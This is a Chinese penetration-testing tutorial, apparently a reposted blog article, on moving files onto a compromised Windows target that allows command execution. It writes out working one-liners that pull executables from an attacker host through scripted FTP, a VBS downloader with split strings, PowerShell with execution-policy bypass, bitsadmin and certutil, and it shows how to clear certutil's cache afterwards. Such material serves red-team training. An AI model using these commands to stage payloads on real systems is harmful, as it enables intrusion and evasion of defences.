前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【内网渗透】Windows下的内网传输技术

【内网渗透】Windows下的内网传输技术

作者头像
一名白帽的成长史
发布2020-06-24 00:05:17
2K0
发布2020-06-24 00:05:17
举报

趁着现在不忙(才不是偷懒)赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术:

有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。

一起来看看吧!

Part.1

FTP

FTP环境部署

首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。

我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon:

创建一个用户monster/a123456:

靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。

上传与下载

ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。

例如需要下载一个hello.txt到靶机中:

写入后,靶机中会生成一个ftp.txt文件:

通过命令行执行该文件:

可以看到hello.txt文件被下载到靶机:

以上操作可以简化为:

代码语言:javascript
复制
Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o

如果ftp允许匿名账号登陆,还可简化为:

代码语言:javascript
复制
Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o

//-A 匿名访问

如果是上传文件到ftp服务器,则使用put:

可以在ftp服务器中找到上传的文件:

Part.2

VBS

VBS

VBS是windows中基于Visual Basic的脚本语言。

利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。

首先在本地开启http服务,提供文件下载:

通过shell向靶机写入VBS代码:

详细代码如下:

代码语言:javascript
复制
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs

此处靶机中会生成download.vbs,执行:

代码语言:javascript
复制
Cscript download.vbs

//成功“上传”文件至靶机。

方法二:VBS一句话下载

代码语言:javascript
复制
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs 
cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe

Part.3

Powershell

Powershell

Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。

代码语言:javascript
复制
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');

//注意区分中逗号等英文字符。

Part.4

bitsadmin

bitsadmin

除了脚本以外,windows还有自带的两个工具:bitsadmin和certutil。

Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。

代码语言:javascript
复制
bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:\Users\Monster\Desktop\hello.txt

//123为任务号

注:经测试这种方法进行下载比其他方法慢很多。

保存路径不能写成C:/Users/Monster/Desktop/hello.txt,否则会报错:

Part.5

certutil

certutil

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

代码语言:javascript
复制
certutil -urlcache -split -f http://192.168.3.1/hash.exe

但是这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存:

Part.6

结语

好啦,以上就是今天的全部内容了~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档